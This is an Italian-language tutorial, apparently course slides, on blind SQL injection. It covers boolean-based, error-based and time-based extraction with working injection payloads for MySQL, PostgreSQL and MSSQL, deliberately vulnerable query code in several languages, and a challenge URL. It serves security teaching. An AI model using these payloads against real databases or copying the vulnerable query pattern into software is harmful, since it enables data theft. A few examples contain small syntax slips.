coppito_zero_day

SQL INJECTION

LESSON 02

coppito_zero_day

'BLIND SQL INJECTION

Cosa vuol dire BLIND SQL INJECTION?

Una BLIND SQL INJECTION è una tecnica di SQLi che ci permette di estrarre informazioni dal DB senza utilizzare i messaggi di errore verbosi o la concatenazione di dati.

'BLIND SQL INJECTION

Scenari ricorrenti:

- Viene restituito un errore generico (non sono visibili i messaggi di errore SQL) e possiamo controllare l'output in qualche modo (senza poter iniettare direttamente valori).
- Viene restituito un errore generico (non sono visibili i messaggi di errore SQL), ma non possiamo controllare l'output in nessun modo.
- Non vengono restituiti messaggi di errore e non possiamo controllare l'output in nessun modo.

Si utilizza quando non possiamo controllare direttamente l'output con valori arbitrari, ma possiamo comunque osservare nei cambiamenti nella risposta.

L'idea è quella di iniettare un ramo condizionale nella query e osservare quando la risposta cambia.

ESEMPIO

```
connection.query("SELECT COUNT(id) FROM pages WHERE status = '" + req.body.status + "'",
    function(error, result) {
    if (error) {
       console.log("Generic error");
    } else {
       console.log("There are " + result + "pages.");
    }
   }
}
```

Valore in input:

```
status = "'"; // Generic Error
status = "published"; // Default behaviour, outputs "There are 15 pages"
```

Non possiamo usare una UNION poichè viene restituito il numero di pagine.

ESEMPIO

Possiamo osservare i cambiamenti nella response.

Se aggiungiamo una condizione WHERE sempre false possiamo essere sicuri che l'output sarà sempre There are 0 pages.

Valore in input:

```
status = "published' AND 1=0 -- -";
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = 'published' AND 1=0 -- -' # Always FALSE
```

Response:

```
There are 0 pages
```

ESEMPIO

Per sfruttare una BOOLEAN BASED INJECTION possiamo inserire una condizione che ci permetta di dedurre delle informazioni.

Valore in input:

```
status = "published' AND SUBSTRING(database(), 1, 1) = 'a' -- -";
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 1, 1) = 'a' -- -' # True if database first letter is 'a'
```

ESEMPIO

Assumiamo che il nome del database sia "web".

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 1, 1) = 'a' -- -' # False

SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 1, 1) = 'b' -- -' # False
...
SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 1, 1) = 'w' -- -' # True
```

Possiamo dedurre il risultato della condizione (True /False) dalla response che mostrerà There are 15 pages per True e There are 0 pages per False.

coppito_zero_day

'BOOLEAN BASED INJECTION

GET ALL CHARS

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 1, 1) = 'w' -- -' # True

SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 2, 1) = 'e' -- -' # True

SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 3, 1) = 'b' -- -' # True
```

GET THE END OF STRINGS

SUBSTRING non ci da informazioni sulla fine della stringa. Possiamo usare LENGTH.

Valore in input:

```
status = "published' AND LENGTH(database()) = 1 -- -
```

Risultato:

```
SELECT COUNT(id) FROM pages
WHERE status = 'published' AND LENGTH(database()) = 1 -- - # False

SELECT COUNT(id) FROM pages
WHERE status = 'published' AND LENGTH(database()) = 2 -- - # False

SELECT COUNT(id) FROM pages
WHERE status = 'published' AND LENGTH(database()) = 3 -- - # True
```

SPEED UP

In questo modo dobbiamo testare tutti i caratteri e questo non è efficiente. Poichè un byte può contenere 256 valori possiamo usare la binary search e dedurre il valore di un byte in 8 richieste:

Assumendo che il nostro valore è 119:

- 1. Is the byte greater than 127? No, because 119 < 127.
- 2. Is the byte greater than 63? Yes, because 119 > 63.
- 3. Is the byte greater than 95? Yes, because 119 > 95.
- 4. Is the byte greater than 111? Yes, because 119 > 111.
- 5. Is the byte greater than 119? No, because 119 = 119.
- 6. Is the byte greater than 115? Yes, because 119 > 115.
- 7. Is the byte greater than 117? Yes, because 119 > 117.
- 8. Is the byte greater than 118? Yes, because 119 > 118.

SPEED UP

La funzione ASCII viene in aiuto.

```
SELECT COUNT(id) FROM pages WHERE status = 'published'
AND ASCII(SUBSTRING(database(), 1, 1)) > 127 -- -' # False

SELECT COUNT(id) FROM pages WHERE status = 'published'
AND ASCII(SUBSTRING(database(), 1, 1)) > 63 -- -' # True
...

SELECT COUNT(id) FROM pages WHERE status = 'published'
AND ASCII(SUBSTRING(database(), 1, 1)) > 118 -- -' # True
```

Svantaggio: le query devono susseguirsi.

Possiamo usare l'approccio "bit-to-bit" che ci permette di fare 8 richieste in parallelo.

Si utilizza quando non possiamo controllare l'output, ma possiamo comunque osservare degli errori generici quando la sintassi non è corretta.

L'idea è quella di iniettare un ramo condizionale nella query (come per BOOLEAN BASED) e osservare quando riceviamo un errore.

CONDITIONAL EXPRESSIONS IN POSTGRESQL E MSSQL

```
SELECT
CASE
WHEN 127 > 2 THEN 'YES'
ELSE 'NO'
END
```

La prima espression 127 < 2 viene valutata e, quando vero, questa SELECT torna YES oppure NO.

CONDITIONAL EXPRESSIONS IN MYSQL

```
SELECT
    IF (
        127 > 2,
        'YES',
        'NO'
    )
```

La prima espressione 127 < 2 viene valutata e, quando vero, questa SELECT torna YES oppure NO.

'BLIND ERROR BASED EXAMPLE

ESEMPIO

```
require 'pg'
conn = PG.connect(:dbname => 'web', :user => 'user', :password => 'password')
begin
   res = conn.exec("SELECT COUNT(id) FROM pages WHERE status = '#{params[:status]}'")
   puts "Query executed"
rescue PG::Error => err
   puts "Generic error"
end
```

Obiettivo: iniettare un ramo condizionale CASE.

Per riconoscere la nostra condizione dobbiamo provocare un errore SQL mantenendo una sintassi corretta.

In PostegreSQL 1/0 ha una sintassi corretta ma produce un errore Division by zero.

In Mysql possiamo usare una subquery che torna righe multiple in un confronto: SELECT * FROM news WHERE id = (SELECT table_name FROM information_schema.columns).

ESEMPIO

Dobbiamo iniettare questo SQL:

```
SELECT
   CASE
   WHEN (SUBSTRING(current_database(), 1, 1) = 'a')
   THEN (1/0)
   ELSE 1
   END
```

per controllare che la prima lettera di current_database() sia una a.

Per aggiungere questa query a quella vulnerabile possiamo usare UNION.

ESEMPIO

Valore in input:

```
status = "' UNION ALL SELECT
     CASE WHEN (SUBSTRING(current_database(), 1, 1) = 'a')
     THEN (1/0) ELSE 1 END; -- -"
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = ''
UNION ALL
SELECT
   CASE
   WHEN (SUBSTRING(current_database(), 1, 1) = 'a')
   THEN (1/0)
   ELSE 1
END -- -'
```

Se la prima lettera di current_database() è una a, verrà eseguito 1/0 e ne scaturirà un errore.

ESEMPIO

Come visto prima possiamo utilizzare la binary search o 'bit-to-bit' per ottenere ogni byte in 8 richieste

Valore in input:

```
status = "' UNION ALL SELECT
    CASE WHEN (ASCII(SUBSTRING(current_database(), 1, 2)) > 127)
    THEN (1/0) ELSE 1 END; -- -"
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = ''
UNION ALL
SELECT
    CASE
    WHEN (ASCII(SUBSTRING(current_database(), 1, 2)) > 127)
    THEN (1/0)
    ELSE 1
END
```

'TIME BASED INJECTION

Si utilizza quando non abbiamo alcun controllo sull'output.

L'idea è quella di iniettare un ramo condizionale che introduca un ritardo nell'esecuzione della query quando vera (o falsa).

Misurando il tempo di risposta possiamo sapere se la condizione è vera o falsa.

DELAY IN MYSQL

SLEEP mette in pausa la query per un numero fisso di secondi. SLEEP(480.001) mette in pausa la query per 480.001 secondi.

BENCHMARK(N, expression) esegue expression per N volte. BENCHMARK(480000, RAND()) esegue l'istruzione RAND() per 480000 volte.

La principale differenza tra SLEEP e BENCHMARK è che SLEEP introduce un tempo fisso che possiamo controllare, mentre BENCHMARK introduce un ritardo variabile che dipende da altrifattori.

'TIME BASED EXAMPLE (MYSQL)

```
def count_pages(status):
    with connection.cursor() as cursor:
        cursor.execute("""SELECT COUNT(id) FROM pages WHERE status = '%s'""" % status)
        result = cursor.fetchone()
        update_pages_count(result[0]) # This function does not produce output
        return 'ok'
);
```

Valore in input:

```
status = "' UNION SELECT IF (ASCII(SUBSTRING(database(), 1, 1)) > 127, SLEEP(5), 1) -- -"
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = ''
UNION SELECT IF (
   ASCII(SUBSTRING(database(), 1, 1)) > 127,
   SLEEP(5),
   1
) -- -'
```

Se la condizione è vera la query verrà messa in pausa per 5 secondi SLEEP(5), altrimenti torna immediatamente 1.

'TIME BASED EXAMPLE (MYSQL)

```
def count_pages(status):
    with connection.cursor() as cursor:
        cursor.execute("""SELECT COUNT(id) FROM pages WHERE status = '%s'""" % status)
        result = cursor.fetchone()
        update_pages_count(result[0]) # This function does not produce output
        return 'ok'
);
```

Valore in input:

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = ''
UNION SELECT IF (
   ASCII(SUBSTRING(database(), 1, 1)) > 127,
   BENCHMARK(480000, RAND()),
   1
) -- -'
```

Se la condizione è vera la query verrà eseguito RAND() 480000 volte, introducento un ritardo, altrimenti torna immediatamente 1.

DELAY IN MSSQL

WAITFOR() mette in pausa una query.
WAITFOR 15:00 mette in pausa la query fino alle ore 15:00.
WAITFOR DELAY '00:00:05' mette in pausa la query per 5 secondi
(DELAY ci permette di specificare un tempo relativo).

La principale differenza tra WAITFOR e BENCHMARK o SLEEP è che WAITFOR non può essere usata in una subquery.
Ma siamo su MSSQL e possiamo usare le STACKED QUERIES. Whoa!

'TIME BASED EXAMPLE (MSSQL)

```
def count_pages(status):
    with connection.cursor() as cursor:
        cursor.execute("""SELECT COUNT(id) FROM pages WHERE status = '%s'""" % status)
        result = cursor.fetchone()
        update_pages_count(result[0]) # This function does not produce output
        return 'ok'
);
```

Valore in input:

```
status = "published'; IF (ASCII(SUBSTRING(database(), 1, 1)) > 127)) WAITFOR DELAY '00:00:05' -- -";
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = 'published';
IF (ASCII(SUBSTRING(database(), 1, 1)) > 127)) WAITFOR DELAY '00:00:05' -- -";
```

La prima query viene esequita normalmente.

Nella seconda, se la condizione è vera la query verrà messa in pausa per 5 secondi (WAITFOR DELAY '00:00:05').

TIME BASED (EXTRA)

Nel mondo reale il tempo di esecuzione di una query dipende da molti fattori.

Come possiamo essere sicuri di intercettare il ritardo introdotto da noi?

Soluzioni:

- Introduciamo un tempo sufficientemente lungo da escludere l'influenza di altri fattori (attenzione ai timeout).
- Inviamo due query nello stesso momento con condizioni invertite: la prima che torna non ha introdotto ritardo.

coppito_zero_day

TOOL

coppito_zero_day

CHALLENGE

HTTP://167.172.164.187:8001/LESSON-02/